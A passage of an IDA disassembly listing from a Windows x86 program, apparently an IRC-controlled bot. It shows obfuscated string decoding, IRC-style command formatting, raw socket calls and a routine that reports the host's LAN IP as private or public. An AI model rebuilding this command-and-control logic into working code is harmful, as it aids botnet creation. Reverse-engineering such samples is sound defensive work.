		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490D0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_449100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_449104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC6E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F74D1
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F40
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC6E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490D0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490D8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
